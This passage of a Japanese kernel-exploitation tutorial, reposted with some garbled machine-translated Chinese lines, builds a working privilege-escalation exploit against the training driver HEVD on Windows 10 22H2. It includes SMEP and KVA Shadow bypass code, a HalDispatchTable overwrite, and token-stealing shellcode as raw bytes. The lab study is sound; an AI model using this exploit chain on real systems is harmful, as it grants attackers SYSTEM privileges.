PVOID shellcode = AllocExecutableCode(rawShellcode, sizeof(rawShellcode));
printf("[*] Executable shellcode: %p\n", shellcode);

WinDbgカーネルモードの状態で確保されたシェルコードのPML4Eを確認します。

[*] Executable shellcode: 0000024BBD5D0000
0: kd> db 0000024BBD5D0000 L4
0000024b`bd5d0000  90 90 90 cc                                      ....

0: kd> !pte 0000024BBD5D0000
                                           VA 0000024bbd5d0000
PXE at FFFFDB6DB6DB6020    PPE at FFFFDB6DB6C04970    PDE at FFFFDB6D8092EF50    PTE at FFFFDB0125DEAE80
contains 8A00000141D01867  contains 0A0000020CC02867  contains 0A000001F612E867  contains 00000001F6952867
pfn 141d01    ---DA--UW-V  pfn 20cc02    ---DA--UWEV  pfn 1f612e    ---DA--UWEV  pfn 1f6952    ---DA--UWEV

現在、シェルコードのPML4E(仮想アドレス: 0xFFFFDB6DB6DB6020)は、KVA Shadowによって実行不可(-)に変更されています。また、ユーザモード(U)のコードであるためSMEPによっても実行不可になっています。

このシェルコードのPML4Eを実行可能(-E)かつカーネルモード(UK)に改ざんし、KVA ShadowとSMEPをバイパスします。

シェルコードのPML4E仮想アドレスを計算

PML4EはArbitraryWriteで改ざんが可能ですが、そのためにはまずPML4Eの仮想アドレスを知る必要があります。

PML4Eの仮想アドレスを計算するコードは以下の通りです。

PVOID CalculatePml4VirtualAddress(unsigned int pml4SelfRefIndex, unsigned int pml4Index)
{
  uintptr_t address = 0xffff;
  address = (address << 0x9) | pml4SelfRefIndex; // PML4 Index
  address = (address << 0x9) | pml4SelfRefIndex; // PDPT Index
  address = (address << 0x9) | pml4SelfRefIndex; // PDT Index
  address = (address << 0x9) | pml4SelfRefIndex; // PT Index
  address = (address << 0xC) | pml4Index * 8;    // Physical Address Offset
  return (PVOID)address;
}

先程リークしたPML4 Self Reference Entryの値を用いて、PML4Eの仮想アドレスを計算します。

unsigned int pml4Shellcode_Index = ExtractPml4Index(shellcode);
printf("[*] Extracted shellcode's PML4 index: %03x\n", pml4Shellcode_Index);

PVOID pml4Shellcode_VirtualAddress = CalculatePml4VirtualAddress(pml4SelfRef_Index, pml4Shellcode_Index);
printf("[*] Calculated virtual address for shellcode's PML4 entry: %p\n", pml4Shellcode_VirtualAddress);

以下の通り、WinDbgで確認したときと同じ仮想アドレス(0xFFFFDB6DB6DB6020)が求まっていることが確認できます。
如下图所示,可以看到寻求与使用 WinDbg 检查时相同的虚拟地址 ( 0xFFFFDB6DB6DB6020 )。

[*] Extracted shellcode's PML4 index: 004
[*] Calculated virtual address for shellcode's PML4 entry: FFFFDB6DB6DB6020

シェルコードのPML4Eをリーク 泄漏的 Shellcode PML4E

上記の仮想アドレスを用いて、PML4Eの値をArbitraryReadでリークします。
使用上述虚拟地址,PML4E 值会随 ArbitraryRead 一起泄露。

uintptr_t originalPml4Shellcode_Entry = (uintptr_t)ArbitraryRead(hHevd, pml4Shellcode_VirtualAddress);
printf("[*] Leaked shellcode's PML4 entry: %p\n", (PVOID)originalPml4Shellcode_Entry);
[!] Writing: *(000000A56EFDF9F0) = *(FFFFDB6DB6DB6020)
[*] Leaked shellcode's PML4 entry: 8A00000141D01867

実行結果から、8A00000141D01867 という値がPML4Eとして設定されていることが分かります。
从执行结果中可以看出, 8A00000141D01867 该值设置为 PML4E。

この値の意味を知りたいため、PML4Eの値をパースするPythonスクリプトを書きました。このスクリプトでシェルコードのPML4Eをパースしてみます。
我想知道这个值是什么意思,所以我编写了一个 Python 脚本来解析 PML4E 值。 让我们用这个脚本解析 shellcode PML4E。

以下が実行結果です。 执行结果如下。

> python parse_pml4e.py 8A00000141D01867
PML4E: 1000101000000000000000000000000101000001110100000001100001100111
Bit  0: Present                        - Set
Bit  1: Read/Write                     - Set
Bit  2: User/Supervisor                - Set
Bit  3: Page-Level Write-Through       - Not Set
Bit  4: Page-Level Cache Disable       - Not Set
Bit  5: Accessed                       - Set
Bit 63: Execute Disable                - Set
Physical Frame Number (PFN): 0x141d01

この結果から、2ビット目と63ビット目を0にクリアすることでカーネルモード(K)かつ実行可能(E)の状態に変更できることが分かります。

シェルコードのPML4Eを改ざん

上記の2つのビットをクリアする関数(ModifyPml4EntryForKernelMode)を実装しました。

uintptr_t ModifyPml4EntryForKernelMode(uintptr_t originalPml4Entry)
{
  uintptr_t modifiedPml4Entry = originalPml4Entry;
  modifiedPml4Entry &= ~((uintptr_t)1 << 2);  // Clear U/S bit (Kernel Mode)
  modifiedPml4Entry &= ~((uintptr_t)1 << 63); // Clear XD bit (Executable)
  return modifiedPml4Entry;
}

ModifyPml4EntryForKernelModeを用いてビットをクリアし、その値でシェルコードのPML4Eを上書きします。

uintptr_t modifiedPml4Shellcode_Entry = ModifyPml4EntryForKernelMode(originalPml4Shellcode_Entry);
printf("[*] Modified shellcode's PML4 entry: %p\n", (PVOID)modifiedPml4Shellcode_Entry);

ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &modifiedPml4Shellcode_Entry);
printf("[*] Overwrote PML4 entry to make shellcode executable in kernel mode\n");
[*] Modified shellcode's PML4 entry: 0A00000141D01863
[!] Writing: *(FFFFDB6DB6DB6020) = *(000000A56EFDFA68)
[*] Overwrote PML4 entry to make shellcode executable in kernel mode

PML4Eの上書き後、WinDbgでシェルコードのPML4Eを確認してみます。

0: kd> !pte 0000024BBD5D0000
                                           VA 0000024bbd5d0000
PXE at FFFFDB6DB6DB6020    PPE at FFFFDB6DB6C04970    PDE at FFFFDB6D8092EF50    PTE at FFFFDB0125DEAE80
contains 0A00000141D01863  contains 0A0000020CC02867  contains 0A000001F612E867  contains 00000001F6952867
pfn 141d01    ---DA--KWEV  pfn 20cc02    ---DA--UWEV  pfn 1f612e    ---DA--UWEV  pfn 1f6952    ---DA--UWEV

シェルコードのPML4Eが実行可能(E)かつカーネルモード(K)に変更されています。

これで、シェルコードはカーネルモードで実行可能な状態になりました。SMEPとKVA Shadowのバイパス完了です。

4. Kernel-mode Address Checkのバイパス

カーネルモードで実行可能なシェルコードを確保することに成功したので、次はどうやってRIPをシェルコードに向けるかを考えます。

HalDispatchTableの上書き

Windowsカーネル内には、HalDispatchTableという関数ポインタのテーブルが存在しています。このテーブルに含まれる関数ポインタを上書きすることで制御フローを奪うテクニックがWindows Kernel Exploitにおいては定石となっています。

HalDispatchTable+0x8には、通常はHaliQuerySystemInformationという関数へのポインタが格納されています。そして、この関数ポインタは、NtQueryIntervalProfileという関数の中で間接関数呼び出しされます。

これを利用し、HalDispatchTable+0x8を改ざんして、その状態でNtQueryIntervalProfileを実行することで、攻撃者はカーネルモードで任意のアドレスを呼び出すことができます。

ntoskrnl.exeからROPガジェットを見つける

しかし、今回はkCFGの部分的な保護機能であるKernel-mode Address Checkによって「間接関数呼び出しの先がカーネル空間のアドレス帯かどうか」がチェックされます。そのため、ユーザ空間のアドレス帯に確保されているシェルコードには、上記のテクニックで直接ジャンプさせることはできません。

一方で、カーネル内のコードであればKernel-mode Address Checkに通過します。つまり、上記のテクニックを用いて、カーネル内のROPガジェットへジャンプさせることならできます。

ここからは、一度カーネル内のROPガジェットを経由してシェルコードにジャンプする方法を考えたいと思います。

Windowsカーネルのバイナリは以下のパスに存在しています。

C:\Windows\System32\ntoskrnl.exe

このバイナリに対してrp++を実行し、ROPガジェットを抽出します。

.\rp-win.exe -f .\ntoskrnl.exe -r 5 > .\ntoskrnl.txt

結果をgrepすると、以下のようにレジスタへ直にジャンプするROPガジェットがいくつも見つかります。

0x14060daa6: jmp rax ; (1 found)
0x14045751a: jmp rsi ; (1 found)
0x14080d5db: jmp r13 ; (1 found)

RIP取得の戦略

上記のようなROPガジェットを利用することで、カーネルモードの制御フローをシェルコードに移すことができる可能性があります。

具体的な手順は以下の通りです。

  1. ROPガジェットのアドレスでHalDispatchTable+0x8を上書きする
  2. レジスタにシェルコードのアドレスをセットする
  3. HalDispatchTable+0x8の間接関数呼び出しを発火させる

もし、3.のROPガジェットが呼び出されるタイミングで、2.でセットしたレジスタの値がそのまま残っていれば、カーネルモードの制御フローがシェルコードに移るはずです。

制御可能なレジスタの調査

ユーザモードコードから制御可能なレジスタを特定するため、WinDbgを用いて実験をしてみます。

実験の手順は以下の通りです。

  1. NtQueryIntervalProfileHaliQuerySystemInformationブレークポイントを仕掛ける
  2. NtQueryIntervalProfileを呼び出す
  3. NtQueryIntervalProfileでブレークしたら、レジスタの値を適当な値に書き換えて処理を続行する
  4. HaliQuerySystemInformationでブレークしたら、3.で設定したレジスタの値が残っているか確認する

WinDbg内でブレークポイントをセットします。

1: kd> bp nt!NtQueryIntervalProfile
1: kd> bp nt!HaliQuerySystemInformation

以下のコードでNtQueryIntervalProfileを呼び出します。

HMODULE ntdll = GetModuleHandle("ntdll");
FARPROC ntQueryIntervalProfileFunc = GetProcAddress(ntdll, "NtQueryIntervalProfile");
ULONG dummy = 0;
ntQueryIntervalProfileFunc(2, &dummy);

コードを実行し、期待通りブレークすることを確認します。

Breakpoint 1 hit
nt!NtQueryIntervalProfile:
fffff806`08134430 48895c2408      mov     qword ptr [rsp+8],rbx

書き換えても動作に影響しなさそうなレジスタ(引数や制御に使われているもの以外)を書き換えます。

1: kd> r rax=4141414141414141
1: kd> r rbx=4242424242424242
1: kd> r rsi=4343434343434343
1: kd> r rdi=4444444444444444
1: kd> r r8=4545454545454545
1: kd> r r9=4646464646464646
1: kd> r r10=4747474747474747
1: kd> r r11=4848484848484848
1: kd> r r12=4949494949494949
1: kd> r r13=5050505050505050
1: kd> r r14=5151515151515151
1: kd> r r15=5252525252525252

処理を続行し、HaliQuerySystemInformationでブレークします。

Breakpoint 2 hit
nt!HaliQuerySystemInformation:
fffff806`08392ef0 4055            push    rbp

このときのレジスタの値を確認し、制御可能なレジスタを特定します。

1: kd> r
rax=fffff80608392ef0 rbx=000000ae55dbfeb0 rcx=0000000000000001
rdx=0000000000000018 rsi=4343434343434343 rdi=4444444444444401
rip=fffff80608392ef0 rsp=fffffd822daef428 rbp=fffffd822daef540
 r8=fffffd822daef460  r9=fffffd822daef490 r10=fffff80608392ef0
r11=0000000000000000 r12=4949494949494949 r13=5050505050505050
r14=5151515151515151 r15=5252525252525252
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
nt!HaliQuerySystemInformation:
fffff806`08392ef0 4055            push    rbp

上記の結果から、rsir12r13r14r15レジスタの値がユーザモードから制御可能であることが特定できます。

R13レジスタに値をセットする

上記のレジスタのうちから、カーネル内にjmp命令のROPガジェットが存在しているものを選択します。今回はr13を使用することにします。

C言語コードから直接的にレジスタを操作することはできないため、アセンブリ言語レジスタに値をセットする処理を書く必要があります。

以下の通り、アセンブリ言語で第1引数の値をR13レジスタにセットする関数を実装しました。

BITS 64
global SetR13
section .text

SetR13:
    mov r13, rcx    ; Set the 1st argument to r13
    ret

SetR13.asm

C言語ソースコードへの埋め込み

Visual Studioでは、現在のところx64アーキテクチャではインラインアセンブリ__asm)機能のサポートがありません。そのため、Exploit内で上記の関数を呼び出すのには工夫が必要になります。

extern宣言を使用してリンクするのが本来のやり方だと思いますが、コンパイルの設定が面倒なので、ここではバイナリコードを実行可能な領域にコピーして実行する方法を取ります。

上記のアセンブリコードはnasmでアセンブルすることができます。

nasm.exe -f bin -o .\SetR13.bin .\SetR13.asm

アセンブルしたバイナリをC言語コードに埋め込める形式に変換するPythonスクリプトを書きました。変換すると以下のようになります。

> python hex.py SetR13.bin    
// size: 4
unsigned char rawShellcode[] = {
    0x49, 0x89, 0xcd, 0xc3
};

SetR13をC言語ソースコードに埋め込み、以下のようにシェルコードのアドレスを引数に指定して呼び出します。
在 C 源代码中嵌入 SetR13,并使用 shellcode 的地址作为参数调用它,如下所示。

// SetR13.asm
unsigned char rawSetR13[] = {
  0x49, 0x89, 0xcd, 0xc3
};
PVOID executableSetR13 = AllocExecutableCode(rawSetR13, sizeof(rawSetR13));

((void (*)(PVOID))executableSetR13)(shellcode);

これで、シェルコードのアドレスがR13レジスタにセットされた状態になります。
shellcode 地址现在设置为 R13 寄存器。

カーネルベースアドレスからのオフセットを確認  确定与内核基址的偏移量。

ArbitraryWriteで関数ポインタを改ざんするためには、カーネルベースアドレスからのHalDispatchTable+0x8とROPガジェット(jmp r13)のオフセットを確認する必要があります。
为了篡改 ArbitraryWrite 中的函数指针,您需要检查 ROP 小工具 ( jmp r13 ) 与内核基址的偏移量 HalDispatchTable+0x8 。

nt!HalDispatchTable+0x8のオフセットは以下のようにWinDbgで確認することができます。
nt!HalDispatchTable+0x8 可以按如下方式检查 WinDbg 中的偏移量。

1: kd> ? nt!HalDispatchTable+0x8 - nt
Evaluate expression: 12585576 = 00000000`00c00a68
  • nt!HalDispatchTable+0x8のオフセット: 0xc00a68
    nt!HalDispatchTable+0x8 抵消: 0xc00a68

ROPガジェット(jmp r13) のオフセットはrp++が出力したアドレスからベースアドレス(0x140000000)を減算した値です。
ROP 小工具的偏移量 ( ) 是通过从 rp++ 输出的地址中减去基址 ( jmp r13 0x140000000) 得到的值。

0x14080d5db: jmp r13 ; (1 found)
  • ROPガジェット(jmp r13)のオフセット: 0x80d5db

これで必要な準備が揃いました。

ROPガジェットへのジャンプ

ArbitraryWriteでHalDispatchTable+0x8を書き換え、ROPガジェット(jmp r13)が実行されるように関数ポインタを改ざんします。

const size_t HalDispatchTable8_Offset = 0xc00a68;
PVOID halDispatchTable8_Address = (PVOID)((uintptr_t)kernelBaseAddress + HalDispatchTable8_Offset);

const size_t JmpR13_Offset = 0x80d5db;
PVOID jmpR13_Address = (PVOID)((uintptr_t)kernelBaseAddress + JmpR13_Offset);

ArbitraryWrite(hHevd, halDispatchTable8_Address, &jmpR13_Address); // jmp r13

これで、Kernel-mode Address Checkをバイパスし、制御フローを奪取できるはずです。

WinDbgブレークポイントを仕掛けつつExploitを実行します。

ROPガジェット(jmp r13)にブレークポイントを仕掛けます。

1: kd> bp nt+0x80d5db

NtQueryIntervalProfileを呼び出し、関数ポインタの呼び出しをトリガーします。

ULONG dummy = 0;
ntQueryIntervalProfileFunc(2, &dummy);

先程仕掛けたブレークポイントにヒットします。ROPガジェットの呼び出しに成功しました。

Breakpoint 0 hit
nt!CmpLinkHiveToMaster+0x1a037b:
fffff800`81c0d5db 4bffe5          jmp     r13

この状態でR13レジスタを確認すると、意図した通りシェルコードのアドレス(280bb610000)がセットされていることが分かります。

0: kd> r
rax=fffff80081c0d5db rbx=000000d4216ffb20 rcx=0000000000000001
rdx=0000000000000018 rsi=0000000000000000 rdi=0000000000000001
rip=fffff80081c0d5db rsp=fffff283a770f428 rbp=fffff283a770f540
 r8=fffff283a770f460  r9=fffff283a770f490 r10=fffff80081c0d5db
r11=0000000000000000 r12=0000000000000000 r13=00000280bb610000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
nt!CmpLinkHiveToMaster+0x1a037b:
fffff800`81c0d5db 4bffe5          jmp     r13 {00000280`bb610000}

0: kd> u r13 L4
00000280`bb610000 90              nop
00000280`bb610001 90              nop
00000280`bb610002 90              nop
00000280`bb610003 cc              int     3

任意コード実行

処理を続行すると、ダミーの何もしないシェルコード(nop/nop/nop/int3)が実行されます。

0: kd> g
Break instruction exception - code 80000003 (first chance)
00000280`bb610003 cc              int     3

nopint3だけのコードなので、ブレークする以外には特に何も起こりません。しかし、通常の状態であれば、セキュリティ機構によってint3に到達する前にBSODが引き起こされているはずです。

エラーなくnopint3カーネルモードで実行できたということは、ここまで行ってきたセキュリティ機構のバイパスが意図通り機能していることを示しています。

これで任意コード実行が達成できたので、後はカーネルモードで特権昇格するシェルコードをプログラミングするだけです。

5. Token Stealシェルコードの実行

今回のExploitではToken Stealシェルコードを使用します。

Token Stealシェルコードは、任意のプロセスの権限をSYSTEM権限に昇格させるシェルコードです。このシェルコードは、任意のプロセスのトークンをSYSTEMプロセスのトークンで置き換えることで特権昇格を実現します。

Token Stealシェルコードの処理

以下は、今回作成するToken Stealシェルコードが実行する処理の概要です。

  1. GSレジスタに格納された_KPCRから、いくつかのポインタを辿り、_EPROCESSのActiveProcessLinksへのポインタを取得する

    1. GS[0x180] → _KPRCB
    2. _KPRCB + 0x8 → CurrentThread
    3. CurrentThread + 0xB8 → CurrentProcess
    4. CurrentProcess + 0x448 → ActiveProcessLinks
  2. SYSTEMプロセスが見つかるまでActiveProcessLinksを探索する

    • 対象プロセスのUniqueProcessIdが0x04と一致しているか確認する
    • UniqueProcessId != 0x04:
      • SYSTEM以外のプロセス。次のプロセスへのポインタを取得し、再度UniqueProcessIdのチェックを実施
    • UniqueProcessId == 0x04:
      • SYSTEMプロセス発見。SYSTEMプロセスのトークンを取得し、その値でCurrentProcessのトークンを上書きして処理終了

上記の処理がカーネルモードで実行されると、現在のスレッドで実行中のプロセスがSYSTEM権限に昇格します。

Token Stealシェルコードの実装

以下は、上記の処理をアセンブリ言語で実装したものです。

BITS 64
global _start
section .text
    SYSTEM_PID equ 0x04
    ; nt!_KPCR
    Prcb equ 0x180
    ; nt!_KPRCB
    CurrentThread equ 0x08
    ; nt!_KTHREAD
    ApcState equ 0x98
    ; nt!_KAPC_STATE
    Process equ 0x20
    ; nt!_EPROCESS
    UniqueProcessId equ 0x440
    ActiveProcessLinks equ 0x448
    Token equ 0x4b8

_start:
    ; Retrieve a pointer to _ETHREAD from KPCR
    mov rdx, qword [gs:Prcb + CurrentThread]

    ; Obtain a pointer to CurrentProcess
    mov r8, [rdx + ApcState + Process]

    ; Move to the first process in the ActiveProcessLinks list
    mov rcx, [r8 + ActiveProcessLinks]

.loop_find_system_proc:
    ; Get the UniqueProcessId
    mov rdx, [rcx - ActiveProcessLinks + UniqueProcessId]

    ; Check if UniqueProcessId matches the SYSTEM process ID
    cmp rdx, SYSTEM_PID
    jz .found_system  ; IF (SYSTEM process is found)

    ; Move to the next process
    mov rcx, [rcx]
    jmp .loop_find_system_proc  ; Continue looping until the SYSTEM process is found

.found_system:
    ; Retrieve the token of the SYSTEM process
    mov rax, [rcx - ActiveProcessLinks + Token]

    ; Mask the RefCnt (lower 4 bits) of the _EX_FAST_REF structure
    and al, 0xF0

    ; Replace the CurrentProcess's token with the SYSTEM process's token
    mov [r8 + Token], rax

    ; Clear r13 register
    xor r13, r13

    ret

TokenSteal.asm

Exploitに埋め込む

SetR13.asmの際と同様に、Token StealシェルコードをアセンブルしてC言語ソースコードの中に埋め込みます。

nasm.exe -f bin -o .\TokenSteal.bin .\TokenSteal.asm
> python hex.py TokenSteal.bin
// size: 55
unsigned char rawShellcode[] = {
    0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x82,
    0xb8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x88, 0x48, 0x04, 0x00, 0x00, 0x48,
    0x8b, 0x51, 0xf8, 0x48, 0x83, 0xfa, 0x04, 0x74, 0x05, 0x48, 0x8b, 0x09,
    0xeb, 0xf1, 0x48, 0x8b, 0x41, 0x70, 0x24, 0xf0, 0x49, 0x89, 0x80, 0xb8,
    0x04, 0x00, 0x00, 0x4d, 0x31, 0xed, 0xc3
};

ダミーのシェルコードをTokenStealシェルコードに差し替えます。

// unsigned char rawShellcode[] = {
//   0x90, 0x90, 0x90, 0xCC // nop, nop, nop, int3
// };

// TokenSteal.asm
unsigned char rawShellcode[] = {
  0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x82,
  0xb8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x88, 0x48, 0x04, 0x00, 0x00, 0x48,
  0x8b, 0x51, 0xf8, 0x48, 0x83, 0xfa, 0x04, 0x74, 0x05, 0x48, 0x8b, 0x09,
  0xeb, 0xf1, 0x48, 0x8b, 0x41, 0x70, 0x24, 0xf0, 0x49, 0x89, 0x80, 0xb8,
  0x04, 0x00, 0x00, 0x4d, 0x31, 0xed, 0xc3
};
PVOID executableShellcode = AllocExecutableCode(rawShellcode, sizeof(rawShellcode));
printf("[*] Executable shellcode: %p\n", executableShellcode);

これで、カーネルモードでToken Stealシェルコードが実行されるようになるはずです。
您现在应该能够在内核模式下运行 Token Steal shellcode。

特権昇格後の処理 特权提升后会发生什么情况

現在のExploitでは、Token Stealシェルコードによってプロセスが特権昇格した後、そのまま何もせずにプログラムが終了してしまいます。
在当前漏洞中,Token Steal shellcode 提升了进程的权限,然后在不采取任何操作的情况下终止程序。

特権昇格後の処理として、cmd.exeを子プロセスとして立ち上げるコードを追加します。
特权提升后,添加代码以将 cmd.exe 作为子进程启动。

system("start cmd.exe");

これで、特権昇格が完了した後、SYSTEM権限で新たなシェルが立ち上がるはずです。
现在,在权限提升完成后,应该使用 SYSTEM 权限启动一个新 shell。

Token Stealシェルコードの実行 令牌窃取 Shellcode 执行

Exploitを実行し、意図通りに機能することを確認します。
运行漏洞并验证它是否按预期工作。

Windows 10 22H2 - HEVDで学ぶKernel Exploit

Exploitを実行すると…

Windows 10 22H2 - HEVDで学ぶKernel Exploit

SYSTEM権限で新しいシェルが起動しました。 已启动具有 SYSTEM 权限的新 shell。

特権昇格成功です。 权限提升成功。

KERNEL SECURITY CHECK FAILURE
内核安全检查失败

しかし、Exploitを実行後、少し時間が経つとBSODが発生してしまいます。
但是,在执行漏洞利用后的短时间内,会出现蓝屏死机。

Windows 10 22H2 - HEVDで学ぶKernel Exploit

Stop codeはKERNEL_SECURITY_CHECK_FAILUREです。

このStop codeは、Windowsカーネル改ざん検知機能(Kernel Patch Protection)がカーネルの改ざんを検知した際に表示するStop codeの一つです。つまり、上記のBSODは、Exploitによる改ざんを検知された結果として引き起こされた可能性があります。

6. カーネル状態の復元

最後に、Exploit後の後片付けとして、カーネル状態の復元を行います。

Exploitの途中で書き換えたカーネル空間のデータは以下の2つです。

  • シェルコードのPML4E
  • HalDispatchTable+0x8

シェルコードのPML4Eについては、途中でオリジナルの値をリークしているので、その値をシェルコードの実行後に再セットすれば良さそうです。

ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &originalPml4Shellcode_Entry);

現在のコードでは、HalDispatchTable+0x8の元の値をリークさせずに上書きしてしまっています。元の値が分からないため、上書き前にArbitraryReadで元の値をリークするコードを追加します。

PVOID originalHalDispatchTable8 = ArbitraryRead(hHevd, halDispatchTable8_Address);
printf("[*] Leaked HalDispatchTable+0x8: %p\n", originalHalDispatchTable8);

シェルコードの実行後、ArbitraryWriteでHalDispatchTable+0x8に元の値を再セットする処理を追加します。

ArbitraryWrite(hHevd, halDispatchTable8_Address, &originalHalDispatchTable8);

上記の変更を加えることで、Exploit実行後にBSODが発生しなくなります。

これでExploitは完成です。

Exploit Code

以下のコードは、本記事で作成したExploit Codeのmain関数です。

int main(void)
{
    HANDLE hHevd = GetHevdDeviceHandle();
    PVOID kernelBaseAddress = GetKernelBaseAddress();

    // TokenSteal.asm
    unsigned char rawShellcode[] = {
        0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x82,
        0xb8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x88, 0x48, 0x04, 0x00, 0x00, 0x48,
        0x8b, 0x51, 0xf8, 0x48, 0x83, 0xfa, 0x04, 0x74, 0x05, 0x48, 0x8b, 0x09,
        0xeb, 0xf1, 0x48, 0x8b, 0x41, 0x70, 0x24, 0xf0, 0x49, 0x89, 0x80, 0xb8,
        0x04, 0x00, 0x00, 0x4d, 0x31, 0xed, 0xc3
    };
    PVOID shellcode = AllocExecutableCode(rawShellcode, sizeof(rawShellcode));

    // SetR13.asm
    unsigned char rawSetR13[] = {
        0x49, 0x89, 0xcd, 0xc3
    };
    PVOID executableSetR13 = AllocExecutableCode(rawSetR13, sizeof(rawSetR13));

    // 1. PML4 Self-Reference Entry Randomizationのバイパス
    const size_t MiGetPteAddress13_Offset = 0x26b573;
    PVOID miGetPteAddress13_Address = (PVOID)((uintptr_t)kernelBaseAddress + MiGetPteAddress13_Offset);
    PVOID pteVirtualAddress = ArbitraryRead(hHevd, miGetPteAddress13_Address);
    unsigned int pml4SelfRef_Index = ExtractPml4Index(pteVirtualAddress);

    // 2. SMEPとKVA Shadowのバイパス
    unsigned int pml4Shellcode_Index = ExtractPml4Index(shellcode);
    PVOID pml4Shellcode_VirtualAddress = CalculatePml4VirtualAddress(pml4SelfRef_Index, pml4Shellcode_Index);
    uintptr_t originalPml4Shellcode_Entry = (uintptr_t)ArbitraryRead(hHevd, pml4Shellcode_VirtualAddress);
    uintptr_t modifiedPml4Shellcode_Entry = ModifyPml4EntryForKernelMode(originalPml4Shellcode_Entry);
    ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &modifiedPml4Shellcode_Entry);

    // 3. Kernel-mode Address Checkのバイパス
    const size_t HalDispatchTable8_Offset = 0xc00a68;
    PVOID halDispatchTable8_Address = (PVOID)((uintptr_t)kernelBaseAddress + HalDispatchTable8_Offset);
    PVOID originalHalDispatchTable8 = ArbitraryRead(hHevd, halDispatchTable8_Address);
    const size_t JmpR13_Offset = 0x80d5db;
    PVOID jmpR13_Address = (PVOID)((uintptr_t)kernelBaseAddress + JmpR13_Offset);
    ArbitraryWrite(hHevd, halDispatchTable8_Address, &jmpR13_Address); // jmp r13

    // 4. Token Stealシェルコードの実行
    HMODULE ntdll = GetModuleHandle("ntdll");
    FARPROC ntQueryIntervalProfileFunc = GetProcAddress(ntdll, "NtQueryIntervalProfile");
    ULONG dummy = 0;
    ((void (*)(PVOID))executableSetR13)(shellcode);
    ntQueryIntervalProfileFunc(2, &dummy);

    // 5. カーネル状態の復元
    ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &originalPml4Shellcode_Entry);
    ArbitraryWrite(hHevd, halDispatchTable8_Address, &originalHalDispatchTable8);

    // SYSTEM権限シェルの取得
    system("start cmd.exe");

    return 0;
}

ArbitraryWriteArbitraryReadの関数定義など、ここに含まれていないExploit Codeの全体は以下のGitHubリポジトリにアップロードしています。
ArbitraryWrite ArbitraryRead 此处未包含的整个漏洞利用代码(例如 和 的函数定义)已上传到以下 GitHub 存储库。

github.com

おわりに

本記事では、HackSys Extreme Vulnerable Driver (HEVD)の任意メモリ上書き脆弱性を悪用したExploitの開発プロセスを解説しました。

この記事は、私がOffSec社のEXP-401: Advanced Windows Exploitationシラバスの中から拾ってきたキーワード(※)が元になっています。今回は「5 Driver Callback Overwrite」のキーワードに絞って調査を行い、調べたことをHEVDのExploitというテーマの上でまとめ直しました。

※ SMEP, KVA Shadow, PML4 Self-Reference Entry Randomization, Token Stealingなど

実のところ、今回の記事を書いた一番の理由は、EXP-401/AWEの参加へ向けた予習のためでした。

ここ数年、私はOffSec社の資格を取ることにハマっており、2022年7月にはOSCE3を取得しました。

OSCE3の次と言えばOSEEしかないだろうということで、最近はEXP-401/AWEに向けた自己学習を進めています。
在 OSCE3 之后,OSEE 将是唯一一个,所以我最近一直在为 EXP-401/AWE 工作。

この記事が何かの役に立てば嬉しいです。 我希望这篇文章会有所帮助。

参考

原文始发于ommadawn46’s blog:Windows 10 22H2 – HEVDで学ぶKernel Exploit

版权声明:admin 发表于 2024年1月31日 下午11:10。
转载请注明:Windows 10 22H2 – HEVDで学ぶKernel Exploit | CTF导航

相关文章